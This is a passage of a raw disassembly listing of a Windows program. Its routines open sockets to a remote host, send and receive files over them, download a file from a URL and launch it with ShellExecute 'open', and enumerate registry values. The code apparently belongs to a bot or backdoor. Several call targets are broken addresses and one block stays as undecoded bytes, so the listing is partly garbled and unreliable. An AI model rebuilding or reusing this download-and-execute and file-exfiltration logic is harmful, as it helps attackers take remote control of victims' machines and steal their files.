[ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB000 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB000 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB000 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB000 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB054 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF44 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF44 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF44 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB000 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF44 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF44 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB000 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF44 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB000 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF44 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB000 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF44 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CB000 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF44 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB000 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF44 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CB000 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB054 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_436224, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_436224 mov esi, offset dword_436230 mov edi, offset dword_437428 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB014 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAEA4 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293EC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_437424 ; "=" push eax call sub_41C0F4 push offset asc_437424 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF80 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB03C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 4374A468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22CA314h, 43D15868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43747468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A2AAE856h, 6A90022Ch, 6FE89064h, 330225B1h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0B118E864h, 6A900225h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 744068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub al, 2 loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_4375A4 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAFA4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFD0 test eax, eax jz short loc_415EA6 push offset unk_437580 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF48 push dword ptr [ebp-2Eh] call dword_4CAED4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAFCC test eax, eax jz short loc_415F21 push offset unk_4374A4 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 2700729h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437560 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2740ADEh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFE4 push eax call dword_4CAFA0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437548 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF8C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437530 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_43750C loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB03C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2780000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2700000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFF4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAFBC cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] call near ptr 26619D4h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB030 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374E0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB03C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi call near ptr 26E0000h nop loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_4374C8 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB03C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 2670A39h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293F4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2700729h cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437644 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26619D4h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375F4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAFBC mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAFA0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFF4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_4374C8 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26E0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_4375C8 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB03C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF54 call dword_4CAEA8 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 2700729h nop cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437810 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26E0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 26905D6h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAEB0 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 26F0000h nop cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377E8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377C0 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCE0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437794 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j call near ptr 26905D6h nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 26619D4h nop push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43776C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437734 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAF10 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437718 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov 